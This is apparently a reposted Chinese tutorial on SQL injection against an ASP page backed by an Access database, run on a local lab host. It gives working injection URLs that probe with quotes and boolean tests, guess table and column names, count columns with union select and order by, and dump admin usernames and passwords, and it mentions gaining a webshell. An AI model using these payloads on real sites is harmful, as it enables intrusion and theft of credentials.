网站地图    收藏   

主页 > 后端 > 网站安全 >

Web攻防系列教程之:Access注入详解 - 网站安全

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 随着社交网络、微博等一系列新型的互联网产品的诞生,基于Web环境的互联网应用范围越来越广泛,企业信息化的平台,如企业网站、员工OA系统、邮件系统大部分都是架设在Web 平台上...

随着社交网络、微博等一系列新型的互联网产品的诞生,基于Web环境的互联网应用范围越来越广泛,企业信息化的平台,如企业网站、员工OA系统、邮件系统大部分都是架设在Web 平台上。Web的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用Web程序下的脆弱点,如SQL注入、文件上传、跨站等方式获取到Web控制权限,轻则篡改网页内容挂马,重则窃取企业重要内部数据。本文对常见的SQL注入攻击方法进行了较为详尽的解析。

Sql注入英文全称是Sql Injection,实施过程大部分是通过Web浏览器,或者其他的黑客工具来实施攻击的。Sql注入的时候表面看不出来有什么不一样,因为过程中就像你敲网站域名那样,写下字符,然后按下回车,但是危险可能已经发生了。

简单地说,Sql注入(sql injection)是这样的一种漏洞:应用程序在向后台数据库传递sql(structured query language,结构化查询语言)查询时,如果为攻击者提供了影响该查询的能力,则会引发sql注入。攻击者通过影响传递给数据库的内容来修改SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性。SQL注入不只是一种会影响Web应用的漏洞;对于任何从不可信源获取输入的代码来说,如果使用了该输入来构造动态SQL语句,那么就很可能也会受到攻击。

目前整个互联网流行的注入,按照数据库结构来划分的话,有5个方向。

A. Access注入

B. Mssql注入

C. Mysql注入

D. Oracle注入

E. Sysbase注入

F. 其他数据库注入

下面让我们来详解一下asp类型的注入到底是通过怎么样步骤来实施攻击的。

Access注入概况

Asp注入划分起来也比较复杂。简单的说,asp的注入可以和access数据库来结合,那么得到注入点的时候,不会有权限高低之分,但是asp也可以和Mssql数据库来结合,在这种情况下得到的注入点,会有3种情况。

1.  Public

2.  Db_owner

3.  SA

这三种权限简单的介绍一下:public权限是最小的一个,面对这样的注入点,可以列表和字段,得到管理员账号密码,db_owner权限比public大点,这样的权限可以得到网站绝对路径之后,用备份的方式得到目标网站Webshell(拥有一个网站的权限);sa权限是最大的一个,全名是(System Admin),简单的说这种权限相当于windows下面的administrator管理员,由此可见,这样的注入点是有多么大的危害。

Access注入的产生过程

Web应用语言均提供了可编程的方法来和数据库进行交互,比如数据查询等。在这个条件下,如果Web开发人员无法确保用户在输入的参数和收到的值传递给数据库做查询的时候已经得到了很好的处理,那么通常会发生注入,如果攻击者能够控制发送给数据库查询的语句,那么数据库查询解析的时候就会把数据解析成代码,攻击者就能得到他想得到的数据库查询的数据。

判断Access是否存在注入

在学习注入之前,应先将IE浏览器设置一下,具体步骤如下。

工具→→Internet选项→→高级→→显示好友http信息

把显示好友http信息前面的勾去掉,然后确定,那么第一步算是大功告成了。这样做是因为如果不把勾去掉,那么网站爆出的任何错误都可能是http500错误,在网页上不会得到更详细的其他信息。具体操作如下图1和图2所示。

 
图1

图2

设置完之后,打开本地搭建的一个asp Web程序的环境,来测试注入漏洞。

例1 http://192.168.205.128/news.asp?id=50'我们在这个地址后面加上单引号’,服务器会返回下面的错误提示,如图3所示:

Microsoft JET Database Engine 错误 '80040e14'

语法错误 (操作符丢失) 在查询表达式 'id < 50''' 中。

/news.asp,行 84 

图3

通过这个报错的结果,得到了几条重要的信息:

1.网站使用Access数据库,通过JET引擎连接数据库

2.该SQL语句所查询的表中有一名为ID的字段

3.程序没有判断用户输入的内容是否合法

4.该注入为数字型注入

所以,可以看到,SQL注入的原理简单地说就是从客户端提交特殊的代码,从而收集程序、数据库及服务器的信息。

当然,这样测试是否为注入点,还不是太好的方法。每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了参数之类的话,SQL注入是不会成功的,但服务器可能同样会报错,具体提示信息为:处理 URL 时服务器出错。请与系统管理员联系,如图4所示。

图4

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的。那么,什么样的测试方法才是比较准确的呢,答案如下:

1 http://192.168.205.128/news.asp?id=50

2 http://192.168.205.128/news.asp?id=50 and 1=1

3 http://192.168.205.128/news.asp?id=50 and 1=2

此时,查询数据库的时候sql语句就变成了下面的SELECT * FROM 表 WHERE  id  =  50

下面举个例子 :

这是一张数据库的截图data.mdb下面都是表,如图5所示:

点开其中一个表,比如gmadmin右边出现了id  gmadmin  gmpass这就叫字段,然后每个对应的字段都有对应的数据。

图5

所以,这句代码就很好理解了

SELECT * FROM 表 WHERE  id  =  50

从表里面找一个确定的字段,那个字段对应的id 是50,然后找出对应的数值。

下面看看测试注入的情况:

SELECT * FROM news WHERE  id = 50 and 1=1  条件为真,因为1确实等于1

SELECT * FROM news WHERE  id = 50 and 1=2  条件为假,因为1不等于2

测试一下,分别使用这2条语句打开网页是什么样的。首先看一下不加任何参数的原始页面,如图6所示。

http://192.168.205.128/news.asp?id=50

图6

使用第一条测试语句: http://192.168.205.128/news.asp?id=50 and 1=1

我们知道1=1 所以,这个语句放进去之后应该还是返回正常的原始页面,如图7所示。

 
图7

使用第二条测试语句:http://192.168.205.128/news.asp?id=50 and 1=2

我们知道1是不等于2的,所以打开这个连接,数据库查询的时候会显示和为真的查询语句不一样的数据,如图8所示。

图8

这样就判断了是否存在注入漏洞。

Access注入之进阶

当能确定一段url是一个注入点之后,那么可做的事情就多了,根据注入点来得到我们想要的数据。怎么才能得到这些数据呢,现在开始学习更高级的方法。

1. 判断一下当前Web用的是什么数据库,这可以从Access和Mssql 的区别入手。Access和 Mssql都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读取该表会提示“没有权限”,Mssql是在表[sysobjects]中,在Web环境下则可正常读取。
执行这个语句,如图9所示。

http://192.168.205.128/news.asp?id=50and%20(select%20count(*)%20from%20msysobjects)>0

 

图9

2. 确定是access的数据库之后,就要开始来猜取数据库的内容,首先想得到的就是管理员的账号和密码。这之前要先弄清楚,账号和密码肯定是存储在表的某一个字段中,首先要做的就是猜账号和密码到底存储在哪个表中。先把账号密码字段用* (星号)来表示,那么通过上面的测试注入的语句应该可以想到,如果猜对的话,url显示的内容是正常的,不然系统就会报错。

执行这个语句,得到的结果如图10所示。

http://192.168.205.128/news.asp?id=50%20and%20exists%20(select%20count(*)%20from%20admin)

图10

得到的显示结果是Microsoft JET Database Engine 错误 '80040e37' (Microsoft Jet 数据库引擎找不到输入表或查询 'admin'。 确定它是否存在,以及它的名称的拼写是否正确。)/news.asp,行 84

既然查询不到admin表,所以数据库中没有这个表,那么换个表来猜,得到的结果如图11所示。

http://192.168.205.128/news.asp?id=50%20and%20exists%20(select%20count(*)%20from%20gmadmin)

图11

执行完毕后,没有显示异常,和正常浏览这个页面是一样的内容,说明数据库中存在这个gmadmin表 。

3. 猜到表之后,继续来猜表里面的字段,账号密码就是存储在字段里面的,这会先猜测账号的字段为username 密码的字段为password

那么语句应该这样

and (select count(username) from gmadmin)>0

and (select count(password) from gmadmin)>0

实践一下,分别执行下面的两个语句,得到的结果分别如图12和图13所示。

http://192.168.205.128/news.asp?id=50%20and%20(select%20count(username)%20from%20gmadmin)>0

http://192.168.205.128/news.asp?id=50%20and%20(select%20count(password)%20from%20gmadmin)>0

图12

图13

执行后,都没有返回到原始的正常页面,这样看来,字段可能不是username和password,那来试试gmadmin和gmpass作为账号和密码的字段吧。

执行以下语句,得到的结果分别如图14和图15所示。

http://192.168.205.128/news.asp?id=50%20and%20(select%20count(gmadmin)%20from%20gmadmin)>0

http://192.168.205.128/news.asp?id=50%20and%20(select%20count(gmpass)%20from%20gmadmin)>0

图14

图15

这回,2条语句都返回了正常的页面,说明字段猜得正确。

4. 得到了字段又拥有了表,那么我们还差一个东西才可以得到最后的数据,因为我们调用的是http://192.168.205.128/news.asp?id=50

后面调用的是new.asp,我们先看一下源码

 <%

Dim rs2

Dim rs2_numRows

Set rs2 = Server.CreateObject("ADODB.Recordset")

rs2.ActiveConnection = MM_conn1_STRING

rs2.Source = "SELECT * FROM news WHERE id < " + Replace(rs2__MMColParam, "'", "''")

rs2.CursorType = 0

rs2.CursorLocation = 2

rs2.LockType = 1

rs2.Open()

rs2_numRows = 0

%>

中间部分写的有SELECT * FROM news WHERE id 说明,这个http://192.168.205.128/news.asp?id=50的内容都是调用new这个表段的,所以我们必须要得到new这个表里面有几个字段。

那么执行以下语句
http://192.168.205.128/news.asp?id=50%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%20from%20gmadmin

这里为什么要从1一直写到12呢,是因为这个是一步步测试的,最开始的时候用的是http://192.168.205.128/news.asp?id=50 and1=2 union select1from gmadmin,然后发现打开这个页面后,不是正常页面,然后继续测试,依然都是错误页面,如图16所示。

and1=2 union select1,2from gmadmin

and1=2 union select1,2,3from gmadmin

and1=2 union select1,2,3,4from gmadmin

 
图16

依次类推,终于在12的时候,页面显示正常了,如图17所示。

 
图17

现在得到了准确的字段数,就可以来爆账号密码的内容了。

此时会发现页面上(如图17)显示出了数字,比如 2 3 12 4这些数字,这些数字的意思就是待会爆出数据内容的地方。

执行语句,得到的结果如图18所示。http://192.168.205.128/news.asp?id=50%20and%201=2%20union%20select%201,2,gmadmin,4,5,6,7,8,9,10,11,gmpass%20from%20gmadmin

 
图18

那么,此时已经得到最终所需要的数据内容了。但是大家会觉得,刚才的

and1=2 union select1,2from gmadmin

and1=2 union select1,2,3from gmadmin

and1=2 union select1,2,3,4from gmadmin

这样去猜会很慢,很费劲,所以要找一个解决办法,这个请看下面的技巧篇。

Access注入之技巧

asp注入有很多技巧可用,此处就来对本篇中遇到的问题来谈谈这方面的技巧。

技巧1

在确定最终字段数的时候,可以在开始的时候直接使用order by来探路。

执行下面的语句后,打开页面,发现页面正常,如图19所示。

http://192.168.205.128/news.asp?id=50 order by 10

 
图19

继续,如图20所示。http://192.168.205.128/news.asp?id=50 order by 13

 
图20

发现页面出错了,那么order by 后面跟着的数值可能是小于13的,不然页面不会出错。

继续测试,结果如图21所示。http://www.2cto.com /news.asp?id=50 order by 12

 
图21

页面显示正常,所以,正确的就是http://192.168.205.128/news.asp?id=50 order by 12

技巧2:

在确定字段数之后,不用在事先使用下面的这些语句来测试字段,可以直接在确定字段数后直接猜,如图22所示。

 

图22

猜错之后,在继续换字段来猜,直到猜对为止

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论